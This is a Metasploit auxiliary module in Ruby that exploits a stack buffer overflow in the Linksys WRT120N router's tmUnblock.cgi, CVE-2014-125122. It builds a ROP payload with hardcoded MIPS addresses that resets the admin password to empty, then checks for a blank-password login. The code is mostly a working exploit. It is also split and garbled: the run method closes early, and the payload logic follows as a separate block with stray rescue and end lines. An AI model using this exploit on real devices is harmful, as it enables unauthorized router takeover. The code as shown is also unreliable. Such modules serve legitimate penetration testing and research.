

```

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability in the WRT120N
Linksys router
          to reset the password of the management interface temporarily to an empty value.
          This module has been tested successfully on a WRT120N device with firmware version
          1.0.07.
        },
        'Author' => [
          'Craig Heffner', # vulnerability discovery and original exploit
          'Michael Messner <devnull[at]s3curity.de>' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2014-125122' ],
          [ 'EDB', '31758' ],
          [ 'OSVDB', '103521' ],
          [ 'URL', 'https://web.archive.org/web/20210424073058/http://
www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about
this vulnerability and the original exploit
        ],
        'DisclosureDate' => '2014-02-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => []
        }
      )
    )
  end

  def check_login(user)
    print_status("Trying to login with #{user} and empty password")
    res = send_request_cgi({
      'uri' => '/',
      'method' => 'GET',
      'authorization' => basic_auth(user, '')
    })
    if res.nil? || res.code == 404
      print_status("No login possible with #{user} and empty password")
      return false
    elsif [200, 301, 302].include?(res.code)
      print_good("Successful login #{user} and empty password")
      return true
    else
      print_status("No login possible with #{user} and empty password")
      return false
    end
  end

  def run
    begin
      if check_login('admin')
        print_good('login with user admin and no password possible. There is no need to use
this module.')
      end
      return
    end
  end
end

```

```

rescue ::Rex::ConnectionError
  print_error('Failed to connect to the web server')
  return
end

print_status('Resetting password for the admin user ...')

postdata = Rex::Text.rand_text_alpha(246)          # Filler
postdata << [0x81544AF0].pack('N')                 # $s0, address of admin password in
memory
postdata << [0x8031f634].pack('N')                 # $ra
postdata << Rex::Text.rand_text_alpha(40)          # Stack filler
postdata << Rex::Text.rand_text_alpha(4)           # Stack filler
postdata << [0x803471b8].pack('N')                 # ROP 1 $ra (address of ROP 2)
postdata << Rex::Text.rand_text_alpha(8)           # Stack filler

4.times do |i|
  postdata << Rex::Text.rand_text_alpha(4)          # ROP 2 $s0, don't care
  postdata << Rex::Text.rand_text_alpha(4)          # ROP 2 $s1, don't care
  postdata << [0x803471b8].pack('N')                 # ROP 2 $ra (address of itself)
  postdata << Rex::Text.rand_text_alpha(4 - (3 * (i / 3))) # Stack filler
end

begin
  res = send_request_cgi(
    {
      'uri' => normalize_uri('cgi-bin', 'tmUnblock.cgi'),
      'method' => 'POST',
      'vars_post' => {
        'period' => '0',
        'TM_Block_MAC' => '00:01:02:03:04:05',
        'TM_Block_URL' => postdata
      }
    }
  )
  if res && (res.code == 500)
    if check_login('admin')
      print_good('Expected answer and the login was successful. Try to login with the user
admin and a blank password')
    else
      print_status('Expected answer, but unknown exploit status. Try to login with the
user admin and a blank password')
    end
  else
    print_error('Unexpected answer. Exploit attempt has failed')
  end
rescue ::Rex::ConnectionError
  print_error('Failed to connect to the web server')
  return
end
end
end

```